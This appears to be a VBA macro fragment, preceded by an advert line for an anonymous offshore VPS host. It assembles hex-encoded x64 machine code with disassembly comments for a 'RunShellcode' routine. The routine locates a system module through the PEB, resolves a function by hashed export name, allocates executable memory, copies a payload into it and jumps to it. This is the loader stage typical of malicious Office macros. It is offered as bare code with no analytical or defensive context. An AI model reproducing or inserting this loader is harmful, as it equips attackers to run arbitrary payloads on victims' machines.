https://darkvps.pro Anonymous & Offshore VPS Provider with own Private Infrastructure
s_Asm = s_Asm & "4157" '0:: push r15
s_Asm = s_Asm & "4156" '2:: push r14
s_Asm = s_Asm & "56" '4:: push rsi
s_Asm = s_Asm & "57" '5:: push rdi
s_Asm = s_Asm & "53" '6:: push rbx
s_Asm = s_Asm & "4883ec20" '7:: sub rsp,0x20
s_Asm = s_Asm & "4889d6" 'b:: mov rsi,rdx
s_Asm = s_Asm & "4889cf" 'e:: mov rdi,rcx
s_Asm = s_Asm & "65488b04256000" '11:: mov rax,QWORD PTR gs:0x60
s_Asm = s_Asm & "0000" '18::
s_Asm = s_Asm & "488b4018" '1a:: mov rax,QWORD PTR [rax+0x18]
s_Asm = s_Asm & "488b4020" '1e:: mov rax,QWORD PTR [rax+0x20]
s_Asm = s_Asm & "488b00" '22:: mov rax,QWORD PTR [rax]
s_Asm = s_Asm & "488b00" '25:: mov rax,QWORD PTR [rax]
s_Asm = s_Asm & "488b4020" '28:: mov rax,QWORD PTR [rax+0x20]
s_Asm = s_Asm & "4889c1" '2c:: mov rcx,rax
s_Asm = s_Asm & "4863413c" '2f:: movsxd rax,DWORD PTR [rcx+0x3c]
s_Asm = s_Asm & "8b940188000000" '33:: mov edx,DWORD PTR [rcx+rax*1+0x88]
s_Asm = s_Asm & "8b44111c" '3a:: mov eax,DWORD PTR [rcx+rdx*1+0x1c]
s_Asm = s_Asm & "448b441120" '3e:: mov r8d,DWORD PTR [rcx+rdx*1+0x20]
s_Asm = s_Asm & "4901c8" '43:: add r8,rcx
s_Asm = s_Asm & "8b541124" '46:: mov edx,DWORD PTR [rcx+rdx*1+0x24]
s_Asm = s_Asm & "4531c9" '4a:: xor r9d,r9d
s_Asm = s_Asm & "49ba970f2c3802" '4d:: movabs r10,0xc692ea02382c0f97
s_Asm = s_Asm & "ea92c6" '54::
s_Asm = s_Asm & "eb0a" '57:: jmp 63 <_Z12RunShellcodePvy+0x63>
s_Asm = s_Asm & "0f1f8000000000" '59:: nop DWORD PTR [rax+0x0]
s_Asm = s_Asm & "49ffc1" '60:: inc r9
s_Asm = s_Asm & "478b1c88" '63:: mov r11d,DWORD PTR [r8+r9*4]
s_Asm = s_Asm & "420fb61c19" '67:: movzx ebx,BYTE PTR [rcx+r11*1]
s_Asm = s_Asm & "84db" '6c:: test bl,bl
s_Asm = s_Asm & "74f0" '6e:: je 60 <_Z12RunShellcodePvy+0x60>
s_Asm = s_Asm & "4901cb" '70:: add r11,rcx
s_Asm = s_Asm & "49ffc3" '73:: inc r11
s_Asm = s_Asm & "41be05150000" '76:: mov r14d,0x1505
s_Asm = s_Asm & "0f1f4000" '7c:: nop DWORD PTR [rax+0x0]
s_Asm = s_Asm & "4d89f7" '80:: mov r15,r14
s_Asm = s_Asm & "49c1e705" '83:: shl r15,0x5
s_Asm = s_Asm & "4d01f7" '87:: add r15,r14
s_Asm = s_Asm & "4c0fbef3" '8a:: movsx r14,bl
s_Asm = s_Asm & "4d01fe" '8e:: add r14,r15
s_Asm = s_Asm & "410fb61b" '91:: movzx ebx,BYTE PTR [r11]
s_Asm = s_Asm & "49ffc3" '95:: inc r11
s_Asm = s_Asm & "84db" '98:: test bl,bl
s_Asm = s_Asm & "75e4" '9a:: jne 80 <_Z12RunShellcodePvy+0x80>
s_Asm = s_Asm & "4d39d6" '9c:: cmp r14,r10
s_Asm = s_Asm & "75bf" '9f:: jne 60 <_Z12RunShellcodePvy+0x60>
s_Asm = s_Asm & "4801ca" 'a1:: add rdx,rcx
s_Asm = s_Asm & "4801c8" 'a4:: add rax,rcx
s_Asm = s_Asm & "420fb7144a" 'a7:: movzx edx,WORD PTR [rdx+r9*2]
s_Asm = s_Asm & "8b0490" 'ac:: mov eax,DWORD PTR [rax+rdx*4]
s_Asm = s_Asm & "4801c8" 'af:: add rax,rcx
s_Asm = s_Asm & "31c9" 'b2:: xor ecx,ecx
s_Asm = s_Asm & "4889f2" 'b4:: mov rdx,rsi
s_Asm = s_Asm & "41b800300000" 'b7:: mov r8d,0x3000
s_Asm = s_Asm & "41b940000000" 'bd:: mov r9d,0x40
s_Asm = s_Asm & "ffd0" 'c3:: call rax
s_Asm = s_Asm & "4885f6" 'c5:: test rsi,rsi
s_Asm = s_Asm & "0f84ed000000" 'c8:: je 1bb <_Z12RunShellcodePvy+0x1bb>
s_Asm = s_Asm & "31c9" 'ce:: xor ecx,ecx
s_Asm = s_Asm & "4883fe04" 'd0:: cmp rsi,0x4
s_Asm = s_Asm & "0f827c000000" 'd4:: jb 156 <_Z12RunShellcodePvy+0x156>
s_Asm = s_Asm & "4889c2" 'da:: mov rdx,rax
s_Asm = s_Asm & "4829fa" 'dd:: sub rdx,rdi
s_Asm = s_Asm & "4883fa1f" 'e0:: cmp rdx,0x1f
s_Asm = s_Asm & "7670" 'e4:: jbe 156 <_Z12RunShellcodePvy+0x156>
s_Asm = s_Asm & "4883fe20" 'e6:: cmp rsi,0x20
s_Asm = s_Asm & "7304" 'ea:: jae f0 <_Z12RunShellcodePvy+0xf0>
s_Asm = s_Asm & "31c9" 'ec:: xor ecx,ecx
s_Asm = s_Asm & "eb3a" 'ee:: jmp 12a <_Z12RunShellcodePvy+0x12a>
s_Asm = s_Asm & "4889f1" 'f0:: mov rcx,rsi
s_Asm = s_Asm & "4883e1e0" 'f3:: and rcx,0xffffffffffffffe0
s_Asm = s_Asm & "31d2" 'f7:: xor edx,edx
s_Asm = s_Asm & "0f1f8000000000" 'f9:: nop DWORD PTR [rax+0x0]
s_Asm = s_Asm & "0f100417" '100:: movups xmm0,XMMWORD PTR [rdi+rdx*1]
s_Asm = s_Asm & "0f104c1710" '104:: movups xmm1,XMMWORD PTR [rdi+rdx*1+0x10]
s_Asm = s_Asm & "0f110410" '109:: movups XMMWORD PTR [rax+rdx*1],xmm0
s_Asm = s_Asm & "0f114c1010" '10d:: movups XMMWORD PTR [rax+rdx*1+0x10],xmm1
s_Asm = s_Asm & "4883c220" '112:: add rdx,0x20
s_Asm = s_Asm & "4839d1" '116:: cmp rcx,rdx
s_Asm = s_Asm & "75e5" '119:: jne 100 <_Z12RunShellcodePvy+0x100>
s_Asm = s_Asm & "4839ce" '11b:: cmp rsi,rcx
s_Asm = s_Asm & "0f8497000000" '11e:: je 1bb <_Z12RunShellcodePvy+0x1bb>
s_Asm = s_Asm & "40f6c61c" '124:: test sil,0x1c
s_Asm = s_Asm & "742c" '128:: je 156 <_Z12RunShellcodePvy+0x156>
s_Asm = s_Asm & "4889ca" '12a:: mov rdx,rcx
s_Asm = s_Asm & "4889f1" '12d:: mov rcx,rsi
s_Asm = s_Asm & "4883e1fc" '130:: and rcx,0xfffffffffffffffc
s_Asm = s_Asm & "6666662e0f1f84" '134:: data16 data16 cs nop WORD PTR [rax+rax*1+0x0]
s_Asm = s_Asm & "0000000000" '13b::
s_Asm = s_Asm & "448b0417" '140:: mov r8d,DWORD PTR [rdi+rdx*1]
s_Asm = s_Asm & "44890410" '144:: mov DWORD PTR [rax+rdx*1],r8d
s_Asm = s_Asm & "4883c204" '148:: add rdx,0x4
s_Asm = s_Asm & "4839d1" '14c:: cmp rcx,rdx
s_Asm = s_Asm & "75ef" '14f:: jne 140 <_Z12RunShellcodePvy+0x140>
s_Asm = s_Asm & "4839ce" '151:: cmp rsi,rcx
s_Asm = s_Asm & "7465" '154:: je 1bb <_Z12RunShellcodePvy+0x1bb>
s_Asm = s_Asm & "4989f0" '156:: mov r8,rsi
s_Asm = s_Asm & "4889ca" '159:: mov rdx,rcx
s_Asm = s_Asm & "4983e003" '15c:: and r8,0x3
s_Asm = s_Asm & "741f" '160:: je 181 <_Z12RunShellcodePvy+0x181>
s_Asm = s_Asm & "4889ca" '162:: mov rdx,rcx
s_Asm = s_Asm & "66662e0f1f8400" '165:: data16 cs nop WORD PTR [rax+rax*1+0x0]
s_Asm = s_Asm & "00000000" '16c::
s_Asm = s_Asm & "440fb60c17" '170:: movzx r9d,BYTE PTR [rdi+rdx*1]
s_Asm = s_Asm & "44880c10" '175:: mov BYTE PTR [rax+rdx*1],r9b
s_Asm = s_Asm & "48ffc2" '179:: inc rdx
s_Asm = s_Asm & "49ffc8" '17c:: dec r8
s_Asm = s_Asm & "75ef" '17f:: jne 170 <_Z12RunShellcodePvy+0x170>
s_Asm = s_Asm & "4829f1" '181:: sub rcx,rsi
s_Asm = s_Asm & "4883f9fc" '184:: cmp rcx,0xfffffffffffffffc
s_Asm = s_Asm & "7731" '188:: ja 1bb <_Z12RunShellcodePvy+0x1bb>
s_Asm = s_Asm & "660f1f440000" '18a:: nop WORD PTR [rax+rax*1+0x0]
s_Asm = s_Asm & "0fb60c17" '190:: movzx ecx,BYTE PTR [rdi+rdx*1]
s_Asm = s_Asm & "880c10" '194:: mov BYTE PTR [rax+rdx*1],cl
s_Asm = s_Asm & "0fb64c1701" '197:: movzx ecx,BYTE PTR [rdi+rdx*1+0x1]
s_Asm = s_Asm & "884c1001" '19c:: mov BYTE PTR [rax+rdx*1+0x1],cl
s_Asm = s_Asm & "0fb64c1702" '1a0:: movzx ecx,BYTE PTR [rdi+rdx*1+0x2]
s_Asm = s_Asm & "884c1002" '1a5:: mov BYTE PTR [rax+rdx*1+0x2],cl
s_Asm = s_Asm & "0fb64c1703" '1a9:: movzx ecx,BYTE PTR [rdi+rdx*1+0x3]
s_Asm = s_Asm & "884c1003" '1ae:: mov BYTE PTR [rax+rdx*1+0x3],cl
s_Asm = s_Asm & "4883c204" '1b2:: add rdx,0x4
s_Asm = s_Asm & "4839d6" '1b6:: cmp rsi,rdx
s_Asm = s_Asm & "75d5" '1b9:: jne 190 <_Z12RunShellcodePvy+0x190>
s_Asm = s_Asm & "4883c420" '1bb:: add rsp,0x20
s_Asm = s_Asm & "5b" '1bf:: pop rbx
s_Asm = s_Asm & "5f" '1c0:: pop rdi
s_Asm = s_Asm & "5e" '1c1:: pop rsi
s_Asm = s_Asm & "415e" '1c2:: pop r14
s_Asm = s_Asm & "415f" '1c4:: pop r15
s_Asm = s_Asm & "48ffe0" '1c6:: rex.W jmp rax